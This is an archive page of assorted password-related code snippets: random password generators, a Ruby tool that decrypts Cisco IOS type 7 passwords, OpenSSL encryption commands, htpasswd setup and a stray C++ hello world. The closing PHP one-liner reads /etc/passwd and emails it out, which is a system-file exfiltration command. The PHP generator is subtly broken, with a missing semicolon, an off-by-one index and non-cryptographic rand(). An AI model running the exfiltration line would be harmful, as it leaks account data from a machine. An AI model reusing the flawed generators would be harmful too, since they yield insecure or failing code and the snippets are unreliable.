Tag Archive for password

Quick, Simple Password Generator

import string
from random import choice

size = 9
''.join([choice(string.letters + string.digits) for i in range(size)])

source

Generate a Unambiguous Random Password

function random_password($len = 7, $mixed_case = false)
{
$a = "abcdefghjkmnpqrstuvwxyzABCDEFGHJKMNPQRSTUVWXYZ23456789";
if(!$mixed_case) $a = strtolower($a)
$out = "";
for($i = 0; $i < $len; $i++)
$out .= $a[rand(0, strlen($a))];
return $out;
}

source

ios7crypt.rb

#!/usr/bin/env ruby

# Author:: Andrew Pennebaker
# Copyright:: Copyright 2007 Andrew Pennebaker
# License:: GPL
#
# == Synopsis
#
# ios7crypt: encrypts and decrypts passwords with Cisco IOS7 algorithm
#
# == Usage
#
# ios7crypt [OPTIONS]
#
# --help, -h:
#    show help
#
# --encrypt, -e <password1> <password2> <password3> ...:
#    prints out the encrypted passwords as hashes
#
# --decrypt, -d <hash1> <hash2> <hash3> ...:
#    prints out the decrypted hashes as passwords

require "getoptlong"
require "rdoc/usage"

$xlat=[
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53,
0x55, 0x42, 0x73, 0x67, 0x76, 0x63, 0x61, 0x36,
0x39, 0x38, 0x33, 0x34, 0x6e, 0x63, 0x78, 0x76,
0x39, 0x38, 0x37, 0x33, 0x32, 0x35, 0x34, 0x6b,
0x3b, 0x66, 0x67, 0x38, 0x37
]

def encrypt(password)
seed=rand(16)
password=password[0, 11]

hash=(0 .. (password.length-1)).collect { |i| $xlat[(seed+i)%$xlat.length] ^ password[i] }

return format("%02d", seed) + hash.collect { |e| format("%02x", e) }.join("")
end

def decrypt(hash)
seed=hash[0, 2].to_i

hash=hash[2, hash.length-1]

pairs=(0 .. (hash.length/2-1)).collect { |i| hash[i*2, 2].to_i(16) }

decrypted=(0 .. (pairs.length-1)).collect { |i| $xlat[(seed+i)%$xlat.length] ^ pairs[i] }

return (decrypted.collect { |e| e.chr }).join("")
end

opts=GetoptLong.new(
["--help", "-h", GetoptLong::NO_ARGUMENT],
["--encrypt", "-e", GetoptLong::NO_ARGUMENT],
["--decrypt", "-d", GetoptLong::NO_ARGUMENT]
)

mode = :help

opts.each do |option, value|
case option
when "--help"
RDoc::usage
when "--encrypt"
mode = :encrypt
when "--decrypt"
mode = :decrypt
end
end

case mode
when :help
RDoc::usage
when :encrypt
ARGV.each { |arg| puts encrypt(arg) }
when :decrypt
ARGV.each { |arg| puts decrypt(arg) }
end

source

wget with username and password

wget <a href="http://MYUSERNAME:MYPASSWORD@somesite.org/

" >http://MYUSERNAME:MYPASSWORD@somesite.org/
source

Cross platform secure password storage

A quicker method that also works cross-platform is to use OpenSSL (which macos includes).

To encypt a list of secrets with the 256-bit AES, open the terminal and do:

openssl enc -aes256 -salt -a -e -out secrets.aes

You'll then be prompted twice for a password, after which you can begin typing whatever you want. When you've typed enough, hit control-d twice and the data will be encrypted and placed in a filed named "secrets.aes".

To decrypt the file created above, do:

openssl enc -aes256 -a -d -in secrets.aes

Enter the password when asked and openssl will decrypt the file and print it in the terminal. Because openssl works the same under macos, bsd, linux, and (cygwin) Windows, files created like this can be used on any platform.

A slight variation can be used to encrypt/decrypt files (rather than typed input):

openssl enc -aes256 -salt -a -e -in myfile -out myfile.aes
openssl enc -aes256 -salt -a -d -in myfile.aes -out myfile

There are also other cyphers available, type "openssl enc help" for a list.

source

password protect a file not directory

<FilesMatch mitglieder.php>
AuthType Basic
AuthName "Mitglieder Bereich"
AuthUserFile /path/.htpasswd
require valid-user
</FilesMatch>

source

htpasswd add user

/usr/sbin/htpasswd2 -b ./passwd user pass

source

C++ – Hello World

/*
*
* Semplice esempio di Hello World !!!
*/

#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
cout << "Hello World !!!" << endl; // endl equivale ad un

return 0;
}

source

PHP etc password list

php -r '$p=`cat /etc/passwd`; mail( "user@example.com", "passwds", "$p", "From: me
" );'

source